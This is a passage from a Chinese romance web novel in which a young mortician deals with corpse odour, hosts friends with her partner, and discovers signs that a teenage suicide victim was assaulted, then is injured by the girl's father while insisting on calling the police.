白鹭洲:“蟹粉虾仁羹,煎鸡蛋,还有你爱吃的芒果酥。” “芒果酥?是上次去步行街吃到的那个,我说很好吃的芒果酥吗?” 池柚兴奋起来了。 “你什么时候去买的?” 白鹭洲:“我自己做的。” 池柚疑惑:“你会做?” 白鹭洲:“本来不会,之前抽空去和那位老师傅学了一下。” 池柚:“你学到人家的配方了?可是人家不是打了百年老字号秘方的招牌,就这么轻易能学到……” “当然,花了点‘小’钱。” 白鹭洲等池柚洗漱完,带着池柚来到餐桌前,将热腾腾的芒果酥碟子端到她面前放好。 抬眼微微一笑。 “其实世界上大部分的事,花钱都是可以解决的。” 池柚对于金钱观的思维还比较浅薄,她吃着香脆的芒果酥,偏着头思索白鹭洲的这句话。 吃过早餐,白鹭洲给池柚多打包了一份芒果酥,让她带给同事尝尝。 考虑到去墓园的打车问题,白鹭洲说,在池柚学会开车前,她会每天接送池柚上下班。池柚怕白鹭洲累,毕竟墓园在远离市区的山上,每天两趟地来回跑,光路上就得花三四个小时了。 白鹭洲说没关系,一路安抚池柚半天,才让池柚勉强收起了担心的情绪。 到了殡仪馆,池柚开始她的新一天工作。 她本以为今天还是和昨天一样,要长时间待在殡仪馆内继续学习,但才一进大厅,就看见刘农和杨乐荷迎面匆匆走来,似乎是准备要立刻出门。 “诶刚好,小柚子来了。”刘农示意池柚先别急着放包,“我们刚刚接了个急单,需要上门收敛,你正好和你杨姐一起过去。” 池柚:“上门?” 杨乐荷:“有时候尸体是直接送到殡仪馆来的,有时候需要我们上门去服务。这次这个尸体发现得太晚了,已经去世了快半个月的样子,听说蛆已经爬满现场,臭得邻居都临时住酒店去了。” 刘农忙问池柚:“你能接受这个场面么?要是不行也别勉强。” 池柚:“没事,我可以。” 刘农给池柚拿了许多胶皮手套,又多带了一沓口罩,送池柚和杨乐荷上殡仪馆的车,说他在火化车间等她们回来。 这是池柚第一次出外单,单子来得也比较紧急,杨乐荷一路上给她嘱咐了许多注意事项。 还好池柚的大脑记忆力够强,消化得很快。 “对了,还有一件事,”杨乐荷提醒,“像今天这种腐化程度的尸体收敛,结束以后,咱们身上的味道可能好几天都散不去,你要做好心理准备。” 池柚:“多洗几遍澡也不行?” 杨乐荷:“洗八百遍澡也不行,只能等它自然消退。没办法,那味儿都是浸到毛孔里面去的,一会儿你就知道了,叠五层口罩都没用,更何况两件薄衣服。” 很快,池柚就见识到了杨乐荷口中的可怕气味。 尸体再腐化严重,蛆虫再繁密恶心,这种视觉上的冲击并不会给池柚带来太多困扰,她之前看过的那些尸检报告什么种类都有。但以前一直在实验室接触生物尸体的池柚,确实还从来没有亲临过这样惨烈的第一现场。 不说实验室的杀菌喷剂了,就连火化车间用来勉强遮掩的福尔马林都没有,就是纯臭,人类倾尽所有修辞手法都描绘不出来的臭,比断电一个月的冰箱里的肉还臭。 而且最可怕的是,这种臭带着死气。 很难描述“死气”具体是什么。 但亲眼见过死亡的人,一定能明白。 池柚在给脸上戴第六个口罩时终于认命,口罩真的没用,在进来的十分钟后,她鼻腔里的毛细血管已然被尸胺腌入味了。 她和杨乐荷将尸体搬到卫生间,用水管接上水龙头,水阀开到最大,冲洗逝者身上的蛆虫。 等彻底将遗体弄干净,已经是三个小时后的事。 终于将逝者送上殡葬车,池柚摘掉口罩和手套,闻了一下自己身上。 她感觉不仅是这套衣服不能要了,她整个人都不能要了。 杨乐荷问池柚需不需要回家洗个澡。 池柚想了一会儿,她现在既不想回自己家见妈妈,更不想回枫江林邸见白鹭洲,于是反问杨乐荷,殡仪馆有没有宿舍可以住宿洗漱。 杨乐荷说当然有。 池柚便发消息给妈妈和白鹭洲,说自己今天回不去了。 池秋婉还好,跟池柚确定了一下人身安全后,就和她说方便的时候回家既可,但回家后一定要把所有事情都解释明白。 白鹭洲问池柚是不是要回自己家,池柚说不是,是要加班。白鹭洲对这个说法似乎有点怀疑,但没多问,只让池柚注意休息。 第二天早上起来,池柚闻自己身上的味道,没散。 她和白鹭洲说,还得加班,不能回枫江林邸。 白鹭洲说好。 第三天的晚上,池柚在宿舍浴室洗了第十遍澡后,闻一闻,还是没散。 她和白鹭洲说,又得加班,依旧不能回枫江林邸。 白鹭洲说知道了。 第四天,池柚觉得自己的呼吸系统已经瘫痪了,让刘农帮忙闻,刘农捏着鼻子客气地说还好还好。 她再次和白鹭洲说,加班没结束,今天也不能回枫江林邸。 白鹭洲这一次没有回。 又隔了一天。 早上起来,池柚打开手机,意外地看见了两条白鹭洲半夜发来的消息。 白鹭洲:【你是不是已经回过家了,你妈妈不同意我们的事,你被圈禁起来了?】 白鹭洲:【需要我悄悄过去带你私奔吗?】 第108章 池柚看着这两条消息, 失笑。 她打字回道:【你准备怎么带我私奔啊?】 这一大早,白鹭洲回得倒是很快:【你真被圈禁起来了?我马上过去。】 池柚忙打字:【没有没有,我确实在墓园。】 白鹭洲:【真在加班?可是按理来说, 新人不应该有这个工作强度。】 池柚有些忸怩,她不想告诉白鹭洲, 她不回去是因为自己身上有味道。 在喜欢的人面前, 就算往日再直言直语, 牵扯到这种问题,还是会很在意。 池柚回道:【白鹭洲,我不想说。】 过了很久, 白鹭洲才回复:【好,我不勉强你。但如果真的遇到了什么困难,你随时可以选择告诉我。】 池柚:【真是让人感觉可靠的老师啊。】 白鹭洲:【可我的学生好像不怎么愿意依靠我。】 池柚:【我真的不想说,很丢脸。】 白鹭洲:【没事, 可以不说的。】 池柚在硬邦邦的宿舍床上翻了个身, 趴在枕头上,看着手机屏幕笑。 她意识到,过去的这几天,白鹭洲肯定很担心。包括现在, 白鹭洲一定也在担心着。 虽然只是很小的事情, 但就是这一点信息差,便可以让一个在意她的人胡思乱想、辗转难眠。所以总是在十点前睡觉的白鹭洲才会在大半夜惴惴不安地发消息给她, 猜测着看似离谱却又真实忧心着的问题。 然而她表示自己不想解释的时候, 白鹭洲也并没有追根究底。 哪怕眼下这一刻,心里的安全感恐怕已经被挖走一大块了。 池柚又翻了个身, 打字问白鹭洲:【你还没有回答我的问题,你说愿意带我私奔, 你想怎么私奔?】 白鹭洲:【悄悄带你回枫江林邸,以后你就一直跟我住。】 池柚:【好像没有跑很远啊。】 白鹭洲:【你妈妈不知道我的房子在哪儿,只要她找不到,我们不用跑很远吧。】 池柚:【如果她找到枫江林邸了呢?】 白鹭洲:【那就带你跑更远一点,你喜欢哪个城市,或者哪个国家,我们都可以去。】 池柚脸上的笑在她没有意识的情况下越来越深。 她继续问:【你不要你的工作了啊?】 白鹭洲:【无所谓,我的钱够我们花一辈子了,我还有公司股份和外租的房产,都是持续进账的。】 池柚:【你就这么喜欢我,愿意为了我放弃云州的一切?】 白鹭洲:【我说过了,你很重要。】 池柚犹豫着打出下一个问题。 【那……臭臭的我,也还能被你这么喜欢吗?】 白鹭洲安静了一会儿。 白鹭洲:【这是……什么意思?】 池柚叹了口气,终于还是老实交代出实情:【我前两天出了个外单,染了一身尸臭,好几天了都消不掉,所以这些天我都住在殡仪馆宿舍里。】 白鹭洲:【你不回家就是因为这个?】 池柚:【你说的回“家”,是指我家,还是枫江林邸?】 白鹭洲:【……这不是重点。】 池柚:【那我确实很臭嘛,不想让你闻到我臭臭的。】 白鹭洲:【如果我说,我有办法祛掉这种味道呢?】 池柚眼睛一亮。 池柚:【你说真的?】 白鹭洲:【真的。】 池柚:【那你不早说!】 白鹭洲:【是谁不早点告诉我的?】 池柚:【好吧,是我的错,对不起。】 白鹭洲发了个拍拍小猫脑袋的表情包。 白鹭洲:【下午来接你回家。】 池柚发了个疯狂点头,点出残影都看不清是什么物种的表情包。 【好好好~】 因为池柚这几天都住在墓园,她没事干就一直上班,早班连着晚班上,攒出不少假来。杨乐荷现在算是她的上级,体谅她这些天辛苦,听说白鹭洲今天要来接她下班,便说放池柚三天假,叫她在家好好休息一下。 连着几天的工作,已经让池柚的敛尸技术又提升了许多,只是唯一的化妆技术还有待进步。杨乐荷嘱咐她在家有时间别忘了好好练习,如果收假的时候有显著提升,她会考虑开始给池柚单人派遣独立任务。 白鹭洲下午的课结束得略晚,赶到墓园时,天刚刚擦黑。 池柚下班后又跟同事们蹲一起吃了点烧烤,等到白鹭洲来,她便乐呵呵地拎上自己的东西,和同事们道别。 刘农说,不知道为什么莫名感觉他跟杨乐荷像是托管所的教师,总是收容着放了学没人接的小柚子,等白鹭洲这个家长过来,他们才算是完成任务了。 白鹭洲听到这个说法,只浅淡地笑了笑,说谢谢他们这几天对池柚的照顾。 池柚坐上白鹭洲的车,一路回家都还顾忌着自己身上的味道,一直都尽量离白鹭洲远远的,缩在角落里。 白鹭洲也没和她说话,安静地开车,平静的脸上看不出情绪。 等回到枫江林邸,天已经黑透了。 池柚先进了房子,捂着外套就要往客房走。 等此时空间里只剩她们两个人时,白鹭洲才开口和池柚说第一句话: “又要分居?” 池柚缩在客房门边,攥进了外套领口,难为情地看着地面。 “不是,我……就是怕那什么到你……” 白鹭洲缓缓向池柚走近几步,轻声说:“四天没有见面,你就一点都不想我。” “我想啊,可是……”池柚见白鹭洲还在往她这边走,忙道,“你别过来了,保持安全距离!” 白鹭洲却没有停下脚步,逼得池柚抵到墙根,退无可退,“我和你还有安全距离?” 池柚:“你真不嫌……” 白鹭洲没等池柚说完话,伸出手,握住池柚的肩。 下一秒,紧紧地将她扣进了怀里。 池柚清晰地听见白鹭洲将脸埋在她的耳边,终于松了口气似的,长长地叹息一声。 “这么多天……” 她还感觉到,有细长的五指从她的后背游移上去,按在她紧绷的后脖颈上。 凉凉的,痒痒的。 “你……闻不到吗?”池柚小心翼翼地问。 白鹭洲沉闷的声音从耳侧响起:“闻到了。” 池柚:“不臭吗?” 白鹭洲:“臭。” 池柚:“那你还抱这么紧。” 白鹭洲:“想你了。” 想你了。 简简单单的三个字,让池柚心里好一阵汹涌。 她都不知道原因,眼睛就酸了。 池柚吸了吸鼻子,咽下喉咙里的哽咽,开玩笑说:“好了,现在咱们俩都臭了。” 白鹭洲:“没事,一会儿就会好的。” 池柚:“怎么,你的人体有净化功能啊?” 白鹭洲:“没有,只是多闻一会儿的话,我的鼻腔应该就习惯了。古语不是有云,‘久居兰室不闻其香,久居鲍市不闻其臭’么。” 池柚忍不住被逗得笑了起来,白鹭洲抱着她,也跟着浅浅地笑了两下。 池柚回抱住白鹭洲的腰,终于不再躲躲藏藏地瑟缩,大方地和自己的爱人坦然拥抱。 “我也好想你啊,白鹭洲。” 她说完这句,眼眶红了。 白鹭洲温声问:“那下次再臭掉,还要不要躲着我了?” 池柚使劲摇头,“不躲了。” 白鹭洲:“为什么?” 池柚:“因为我知道了,你不会嫌弃我。” 白鹭洲:“知道了就好。” 白鹭洲松开池柚,拉起她的手,牵她向厨房走去。 “走吧,我帮你除一下味。” 池柚不懂为什么要去厨房,而不是去浴室。 她好奇地跟着白鹭洲来到厨房,看白鹭洲拿出榨汁机,取了把香菜,榨了好几大碗香菜汁出来,又见她转手去拿调料盒,取出里面的盐盒。 “你是要把我烹饪了吗?” 池柚捂住自己。 “我就是再臭,也罪不至此吧。” “……”白鹭洲无奈地抿了下嘴唇,把食盐洒进香菜汁里,“香菜汁泡食盐,用这个洗身上,可以去除尸臭。” 池柚:“真的啊?” 白鹭洲:“听人说很管用,先试试。” 两个人端着一盆香菜食盐汁去了浴室,为了能充分涂抹到位,白鹭洲让池柚把衣服脱了,她帮她涂全身。 池柚红透了脸,说不要。 白鹭洲:“我们不是已经做过那事了吗,你还害羞?” “那怎么能一样呢?”池柚有她的理由,“那是晚上,黑咕隆咚的什么也看不清,现在有灯,亮堂堂的,我、我……” “这些对你来说,不都是最普通的器官部位触碰么?” “那是别人,你不一样。” 池柚红着脸别过头去,小声咕哝。 “世界会爆炸的……心跳会失序的……体温会把我全身的细胞蒸熟的……” 这是她曾经验证过的事实。 在白鹭洲面前,所有最寻常的器官接触,都不再寻常。 白鹭洲沉思片刻,放下盆子,开始解自己的衬衫扣子。 “你干什么?” 池柚看见白鹭洲的动作,有点慌。 白鹭洲没说话,缓缓解开了所有的扣子,双肩一沉,脱下衬衣。 她里面只穿了内衣,细肩带覆在轮廓清晰的锁骨上,优美的腰线在衬衣褪去的那一刻便展露在池柚眼前。还不等池柚做更多的反应,她又开始反手去接内衣的搭扣。 “你……” 池柚忙错开目光,强迫自己看瓷砖墙面。 “你耍流氓啊白鹭洲!” “我只是想跟你一起洗,这样你可能会不那么难为情。” 白鹭洲的手出现在池柚的余光里,手中握着刚刚脱下的内衣,随意地放在旁边的栏杆上。 她的声音明显迟疑了一瞬。 “你放心,虽然我不嫌弃你有尸臭,但你没彻底洗干净之前,我也确实……不太有兴致‘耍流氓’。” 第109章 伴随着池柚的一百零三声嘟嘟囔囔的“我讨厌你”, 白鹭洲花了整整一个小时,才将两个人都清理干净。 用香菜汁洗完,她们又一起在浴缸里泡了半个小时的澡, 洗澡水里倒了一瓶白酒用来深度去味。 泡到后面,池柚的鼻子彻底失灵了。 池柚问白鹭洲:“我们现在身上是什么味道啊?” 白鹭洲表示她也不清楚, “我现在可能真的是‘久居兰室不闻其香, 久居鲍市不闻其臭’了。” “我想到一个办法, ”池柚灵光一闪,“明天邀请朋友们来家里玩吧?我们什么都不说,看她们能不能闻出什么味儿。” 白鹭洲向池柚确定:“让她们来家里?” 池柚:“你……会介意吗?” 白鹭洲:“那倒不介意, 只要你的良心对拿朋友当气味试验器这件事过得去。” 池柚想了想,“我们给她们做大餐吃,作为补偿,可以吗?” “可以。”白鹭洲穿上衣服, 系着扣子说, “都听你的。” 第二天刚好是个周末,她们在群里发了邀约消息,其余三个人都有空,便约好中午饭点的时候过来。 这天, 池柚和白鹭洲起了个大早, 先去超市买了新鲜食材回来,然后一整个上午都在厨房里准备中午的大餐。 第一次邀请朋友们来家里做客, 她们都很重视, 做的都是拿手好菜。两个人本就都是厨艺顶好的,这次又做得认真, 满屋飘荡着诱人的食物香气。 第一个到达的柴以曼一进门,就被香得两眼发亮。 “你们做的什么啊, 好香!我已经在家吃了一个礼拜的白水煮肉了,天啊,口水都要流下来了。” “你……”池柚犹豫着问,“除了食物的香味,姐姐你……还有没有闻到其他味道?” 柴以曼使劲闻了闻,“没有啊。” 池柚松了口气,“那就好。” 为了保证她们的食欲,池柚不打算主动告知这次叫她们来的真实目的。 后到的黎青和宋七月也只闻到菜香,宋七月直接被馋得冲进厨房,端了一盘炸鱼出来。白鹭洲拦着她说那是半成品,一会儿还要回锅浇汁的,宋七月也不管,端着就跑,在客厅转一圈的功夫就和柴以曼分着吃完了。 黎青笑道:“早上没给你吃饭啊,饿死鬼投胎吗?” 宋七月:“你没吃!我就问,刚刚塞给你的炸鱼你吃没吃!” 黎青扬起下巴,哼了一声。 宋七月环顾着四周说,自从池柚住进来,这房子比她第一次来的时候有人味儿多了。黎青问为什么,宋七月便和她回忆当初自己来时这里跟尼姑庵一样冷清的样子,还说阳台上都种的塑料假花。 宋七月:“居然真有人往屋里摆塑料花,你敢信,塑料花哎,假得我恨不得戳瞎我的眼!” 黎青:“现在应该没摆了吧。” 宋七月:“不知道,我问问。” 宋七月高声问厨房里的白鹭洲关于假花的事,白鹭洲让她自己去卧室里看。 两口子得了准许,便没心没肺地手拉手跑人家卧室里参观去了。 池柚端着一盘刚做好的春卷出来,拿到客厅给她们先吃,却只见柴以曼一个人坐在沙发上。 “姐姐,你吃这个先垫垫,饭马上就好了。”池柚将春卷推到柴以曼面前。 柴以曼叫住正要转身回厨房的池柚:“等一下。” 池柚回头:“怎么了?” 柴以曼看了眼在厨房忙碌的白鹭洲,说:“我们聊两句。” 池柚也* 下意识看了眼白鹭洲,怔怔地:“就、我们俩?现在?” “就我们俩,单独聊。”柴以曼靠在沙发上微笑着说,“也不会有比现在再更好的时机了吧,她平时应该把你看得挺严的。” 池柚老实点头:“是这样没错。” 柴以曼瞥了下沙发:“坐。” 池柚又看了看白鹭洲,在围裙上擦着手,犹豫着在沙发边边坐下。 “噗。”柴以曼笑了出来,“你那么怕我干什么?我难道还会对你做什么不成。” 池柚:“好像是不会哦,要做什么早做了。” 柴以曼:“别紧张,我就是想问问,你最近过得怎么样?” “过得很好啊。” 池柚放松了一些。 “她帮我找到了很适合我的工作,我现在做入殓师这一行,每天都很开心。这些日子她对我也很好,特别迁就我,我们都没有吵过什么大架。” 柴以曼问:“她对你,怎么个好法?” “她平时会给我做饭,帮我洗衣服,给我剪指甲。去苏江出差唱戏,也会带上我,让我坐在下面看着她。她知道我在意台下看她的目光,因为这个,她都把我放在最中间的位置,让我的目光是离她最近的那一个。” 池柚细数着回忆里白鹭洲对她的好。 “她玩游戏会照顾我,我惹她生气了她也不会冲我发火,我闹脾气她会哄我。我要做什么她都体谅,我染上尸臭她也不嫌弃,只会和我一起想办法解决。她会天天抱我,亲我,会一直告诉我,我对她真的很重要很重要,让我知道,我这个生命体活在这世界上,是很有意义的事情。” 数出这么多美好来,池柚忍不住笑意渐深。 “她的性格你们也清楚,所以……我明白,她这样对我,真的已经是她能做到的,最好的程度了。” 柴以曼叹气:“唉,好可惜。” 池柚抬眼:“可惜?” 柴以曼:“可惜你过得太幸福了,我是真的一点机会都没有了。” “我本来想听你说一些她谈恋爱时的毛病,以此来验证你选择她是个错误。” 柴以曼半认真半玩笑地说。 “但真的可惜,她和你一样,都是很好很好的人呢。” 池柚听得出来,柴以曼嘴上这么说,其实心里也在为她高兴,于是笑了。 “姐姐,谢谢你。” 柴以曼:“谢我什么?” 池柚:“谢谢你当时的成全。要不是你,我和老师可能还要过很久才能在一起。” 柴以曼扯了扯嘴角,露出一个不知道是不是笑的弧度。 唉。 她在心里又叹口气。 这个时候,是不是应该给她点一首凄凄惨惨的《成全》啊? 池柚反问道:“你呢,最近过得怎么样?” “还能怎么样,就是白天睡觉,晚上码字,渴了喝水,饿了煮肉。”柴以曼拧了拧酸痛的脖子。 池柚:“温老师还去找过你吗?我感觉上次玩完剧本杀的时候,她好像……” 柴以曼一听池柚提起温确,脸立马黑了下来。 “闭嘴。” 池柚应声住口,无措地看着突然变冷硬的柴以曼。 “我忘了告诉你,这次的广播剧,我在试图和她取消合作关系了。” 柴以曼谈及温确时,嗓音里没有一点温度。 “虽然到最后,受各方面制约影响八成还是取消不了,但我的态度就摆在这里。你应该能懂我的意思吧?” 池柚爱好和平的本性让她又多嘴: “一定要闹这么僵吗,你都前前后后扇过她三个巴掌了,陵江聚餐那天到底发生了什么,让你这么在意?” 柴以曼许久都没说话。 最后,柴以曼端起杯子抿了口水,用一句话结束了这个话题: “如果你还拿我当朋友,就永远不要再问这个问题。” ——让那件事,永远烂在那一天。 这话一出,池柚便明白,有些话确实不好再劝了。 正好,白鹭洲做好了最后两盘菜,端着菜盘走出来,让池柚去叫朋友们过来吃饭。 黎青和宋七月从卧室出来,宋七月连连夸赞阳台上那些鲜花养得真好,又香又漂亮,她刚刚拍了好多照发朋友圈。 白鹭洲:“……用我们家的花发你的朋友圈?” 宋七月:“征用一下装个样子怎么了嘛,还你们家,谁家啊?小柚子是嫁给你了还是娶你了?她没和你有法定关系之前,你最亲的亲戚是我好不好,我的大表甥孙女。” 白鹭洲:“……” 池柚在中间劝和:“吃饭啦,吃完再吵。” 黎青笑着在餐桌边坐下,“是啊,先吃,趁热趁热。” 白鹭洲叹了叹,解开围裙,邀请朋友们入座。 朋友聚在一起,吃饭都要比平时一两个人吃得香。 她们天南海北地聊,聊池柚的墓园日常,聊宋七月最近的择业问题,聊黎青的考博准备。也聊白鹭洲带的古典文献新课,还有柴以曼近来筹备的新书。 柴以曼和宋七月两个酒蒙子,把白鹭洲家酒柜里为数不多的酒都搬空了,两个人喝得东倒西歪。 喝到餐盘吃光,宋七月醉醺醺地说,她们应该每周都聚这么一次,就在白鹭洲家。 池柚好奇地问:“为什么?” 宋七月:“拜托,你知不知道你们两口子做饭有多好吃,超好吃!巨好吃!比外面所有餐馆加一起都好吃!” 柴以曼补充:“还免费。” 宋七月:“对!还免费呢。” 黎青笑得肩颤。 白鹭洲无奈道:“随便,只要你们愿意。” 宋七月:“哇这可真是稀奇了,居然不是小柚子先答应我们,是你先答应我们哎。表甥孙女,终于愿意下凡感受感受人间烟火啦?” 池柚:“宋姐姐,你别……” 池柚想说别总嘲笑白鹭洲的话只出口一半,就听到口袋里手机铃声突兀响起。 白鹭洲抬了抬下巴,示意池柚先接。 “不好意思姐姐们,接个电话。” 池柚便起身离开餐桌,掏出手机,看了眼来电显示,接通后放在耳边。 “喂,杨姐?” 怎么会在休假的时候给她打电话? 杨乐荷:“池柚,还记得前几天我们一起收敛的那具腐化严重的尸体吗?” 池柚:“记得,怎么了?” 杨乐荷:“马上来殡仪馆一趟,出了点事。” 第110章 如果不是非常重要的事, 以杨乐荷的性格,她是不会随意打断池柚的休假的。而且她在电话里没有叫小柚子,一反常态地唤了池柚的大名, 说明事情确实紧急。 池柚挂断电话,不敢有半分懈怠, 转身拉过白鹭洲, 和她先说了这个情况。 白鹭洲沉思片刻, 让池柚先过去,家里的客人她来继续招呼。 池柚简单收拾了一下东西,和朋友们致歉后立即出门。 池柚出门前, 黎青看到白鹭洲一脸担心的样子,说让她尽管去送池柚,她们单独留在这里没关系的,不必那么讲究待客礼数。 黎青保证:“我会帮忙看好这两个醉鬼的, 你放心吧。” 白鹭洲诚恳地说了声谢谢, 便去送池柚了。 两个人开车到南郊山上,抵达墓园,池柚让白鹭洲先回去,晚点她自己回。 池柚走后, 白鹭洲还是有些放心不下。 她没有立刻离开, 而是待在车里,想要等池柚忙完再接池柚一起回家。 她总有种不太好的预感。 直觉告诉她, 最好在这儿多等几个小时。 池柚一进殡仪馆, 就看见杨乐荷已经在门口等她了。 “抱歉,本来不想打断你的休假, 但是……”杨乐荷的眉头锁得很紧。 池柚:“没关系,究竟发生什么了?” 杨乐荷:“你来。” 杨乐荷将池柚带到火化车间, 掀开罩在死者身上的白布。看遗体的情况,才修复了大概三分之一的样子,不知道为什么突然搁置了。 “17岁独居女性,警方归因为割腕自杀,家属意思也是尽快平息火化,所以当时没有进入司法流程,只让我们来收敛尸体。” 杨乐荷向池柚招了招手,示意她看遗体的胳膊和胸口,以及下面。 “但是我今天修复的时候,在这些部位的皮肤上发现了很轻微的一些异常。你知道,这具遗体腐化程度严重,如果不是很仔细地看,是根本察觉不到的。可我也不是非常确定,因为我的专业知识只涉及修复技术,你是医学生,你来看一下,这个是不是……” 话语稍顿。 “……是不是被侵犯过的痕迹。” 池柚皱眉。 17岁,自杀,被侵犯。 这些关键字眼让她意识到,这可能真的是件大事。 她戴上手套,弯腰仔细检查遗体。 “胸口和手腕的痕迹都很模糊,但大腿内侧可以辨认出一个很浅的齿痕,死亡时还未完全愈合。根据齿痕的形状推测,百分之九十的可能是成年男人的牙齿。” 池柚抬起头,看向杨乐荷。 “她死亡时身上原本的衣物应该还在咱们这里存放着吧?精子死亡后留下的精斑,法医是可以检验出DNA的,我们马上报警,把她的衣服、尤其是贴身衣服都送过去查检,时间还来得及。” 杨乐荷摘掉手套,取出手机,按下110。 但还没拨出去,她犹豫了一瞬,又一个个删掉,拨了另一个电话。 “我通知一下她的家属吧,让家属先过来一趟。” 两个人回到大厅,等待家属。 等了约摸快一个小时,才终于等来了死者的亲生父亲。 中年男人情绪很激动的样子,一推门就涨红着脸快步走过来,厉声问道:“你们电话里什么意思?什么叫被侵犯?” 杨乐荷:“我们也是在修复过程中发现了您女儿可能有被侵犯过的经历,但这个还需要报警,让专业的法医来证实。” 中年男人:“我告诉你啊,饭可以乱吃话不可以乱讲的,她是自杀,她自己没出息割腕死的,你不要随随便便污蔑我们家的清白!” 杨乐荷:“我们不是这个意思,只是这很有可能涉及到刑事问题,最好还是……” “什么刑事问题,你知道报警会闹得多大吗?!” 中年男人喝止杨乐荷。 “既然警察已经说了她是自杀死的,你们殡仪馆好好入殓火化就完事了,瞎操什么心?狗拿耗子多管闲事吗你们?” 池柚忍不住开口:“叔叔,您就不想知道自己的女儿到底遭遇过什么吗?” “我管她遭遇过什么,她自己愿意辍学打工,也是她自己愿意和男人瞎搞,我们家现在肯给她收尸就不错了。她死是死了,我们还要生活下去,她那点破事要是闹得邻里街坊人尽皆知,我们还怎么抬得起头?” 中年男人阴着脸警告杨乐荷和池柚。 “我告诉你们,我不会报警,我也不许任何人报警,你们就拿着你们殡仪馆该拿的钱,好好把人火化了事。我对什么侵不侵犯没兴趣,你们大事化小小事化了,我也不会找你们麻烦。” 池柚加重语气:“难道名声比真相还重要?” 中年男人听到这话,跟听了什么天大的笑话似的,冷笑好几声。 “我问你,小姑娘,就算她和男人搞过,你就能确定她是被强的吗?如果折腾来折腾去,最后找到那男的,查出来人家是你情我愿,什么罪都没有,怎么办,尴尬不?是,你一个陌生人,当然可以大义凛然搁这儿说好听的话,但回头闹得人尽皆知,我们被指指点点的精神损失费,是你能承担啊,还是殡仪馆来给我承担啊?” “你……”池柚还想说什么。 杨乐荷拉住了她,叹了口气,轻声说了句“算了”。 “算了?!”池柚不可置信。 杨乐荷小声和池柚说:“我们要尊重家属意愿。” 池柚:“可……” 杨乐荷凑到池柚耳边。 “他家里还有个儿子,今年升高中,学校难找,所以现在很在意名声。我们确实也不能保证会查出什么来,这件事,我们尽到通知义务就够了。” 池柚却不同意:“但就算只有万分之一的可能牵扯到刑事案件,我们也需要报警处理,由警方来决定这个事情的性质。” 杨乐荷:“我们只是入殓师,我们没有这个身份去选择怎么处理。” 池柚:“刑事案件,任何人都有权力报警。” 中年男人听到了池柚对杨乐荷说的话,更激动了:“你到底想干什么啊你?我是她亲爹,我都说不用深究了,你乱插什么手!” 池柚索性将心里的疑问都问出来:“她还没有成年,为什么会一个人独居在外?” 中年男人:“关你什么事?” 池柚:“你能养你儿子,养不了你的女儿吗?还是说,你女儿辍学打工,也是为了帮你养你的儿子?” 中年男人被戳破了心事似的,恼羞成怒:“你——!” 池柚拿出手机,按下110。 “你不肯报警,我来报!” 杨乐荷也有点急了:“池柚,我不是是非不分,但这样真的很容易给殡仪馆带来麻烦,我们还是先好好商量……” “这到底有什么好商量的?!” 池柚不懂,不懂他们三个人究竟为什么在这儿纠结。或许世上不全是黑白分明的事,但这件事很显然就是黑和白、对和错、应该和不应该的区别。 就像她说的,哪怕就只有万分之一的可能,但这万分之一发生在那个17岁的女孩身上时,就是百分之百。她作为送她最后一程的入殓师,如果连这点真相和尊重都不能给这个女孩,她做这份工作的意义是什么呢? “杨姐,如果殡仪馆会觉得困扰,我之后会主动辞职。我宁可这是我上班的最后一天,今天,我也一定会把这个电话打出去!” 中年男人看池柚真的要按下拨号键了,着急上了头,怒目圆睁地冲过来,一把打掉池柚的手机,气极地狠狠推了对方一把,骂道: “你有病吧!!!” 男人被气得厉害,手下没轻没重,直接将池柚推得向后摔去。 砰—— 一声巨响。 池柚摔在桌角边,额头恰恰好撞在棱角上,撞击力度之大,那磕碰声让人听得心跳都要停止一秒。 那显然是硬物与硬物之间碰撞的声音。 是她的额骨穿过了薄薄的皮肤兜隔,和坚硬的木桌相触的响动。 池柚重重地砸在了地上,摔得骨头缝都是疼的。她有好一会儿都看不见东西了,不知道是眼睛睁不开还是视觉出了问题,她用双手勉强撑住地面,慢慢爬起一点,不停张闭眼皮,努力缓和大脑中忽然涌上的极度晕眩。 她清晰地感觉到额角有滚烫的液体流出,顺着她的脸颊淌到了下颌。 池柚莫名想起很久以前,在游轮的那个夜晚,她也曾被推倒在碎花瓶的瓷片上。 或许现在,和当时也没有什么不同。 她依旧是游轮时的她,固执地坚持着心里认为正确的事情。 物归原主是正确的事,伸张正义、沉冤昭雪,也是正确的事。只要是正确的事,是白鹭洲教导过她要去执行的人间正道,她就必须不顾一切地完成。 杨乐荷吓到了,连忙跑过来蹲下,扶起池柚。 “池柚!池柚!你没事吧?” 池柚作为医学生,知道自己这次摔得很严重。 不是被碎瓷片割破的简单皮外伤了,她的眩晕程度,还有流出的血液量,都让她明白这次的情况有多糟糕。 轻则脑震荡,重则脑神经受损,她最引以为傲的大脑可能会受到超出预计的极重大影响。 但在去医院之前,她还需要再做一件事。 池柚抬起沾满血的睫毛,捂住自己被伤到的额头裂口,艰难地看向杨乐荷。 “杨姐,现在,我们有理由可以报警了吧?” 微微颤抖的嗓音,和渐渐湿润发红的眼眶,都昭示着她的意识已经无法再强撑过多时间。 拜托。 让她能亲眼看到警察的到来。 110-114 第111章 白鹭洲在墓园门口等了两个多小时, 心里越来越忐忑。 她给池柚试着发了几条微信消息,但不知道是不是在忙,池柚一直没回。她也不敢贸然打电话过去, 如果池柚正在工作,她怕会打扰到她。 又等了半个小时, 白鹭洲烦躁地打开车门, 在外面站了会儿。 没多久, 警笛声隐约出现在耳畔。一开始白鹭洲还以为是错觉,直到警笛声越来越近,两辆警车从蜿蜒的山路出现, 停在了墓园门口。 看着警察从警车上下来,满脸严肃地匆匆向殡仪馆方向走去,白鹭洲皱起眉头。 过了一阵子,警察们走了出来, 押着一个中年男人, 杨乐荷扶着池柚跟在后面。殡仪馆的车也开了出来,不知道运送着谁的尸体。 白鹭洲的目光在接触到池柚的那一刻,什么警察,殡仪车, 杨乐荷, 中年男人,就全都看不见了。 她看见了池柚被血染透的大半边身体, 以及尽管紧紧捂着也还在流血的额头。 白鹭洲顾不得还有层层警察相隔, 径直快步走过去,脱口唤道: “池柚!” 池柚惊诧地抬头。 她以为白鹭洲早就回家去了, 没想到她居然还没走。 警察见白鹭洲叫出了池柚的名字,便没有阻拦。 白鹭洲疾步走到池柚面前, 见池柚用双手慌乱地捂自己的额头,眼神躲闪得厉害,一时不知是该开口问问发生了什么,还是也伸手替她捂一捂那正在流血的地方。 那一瞬间,她仿佛感觉到自己的心脏也撕开了一个裂口,涌出了同样的血量。 “你……” 白鹭洲从杨乐荷的手里扶过了池柚,小心翼翼地让她伏在自己怀里,抱她的动作都谨慎得生怕多使了一点力。 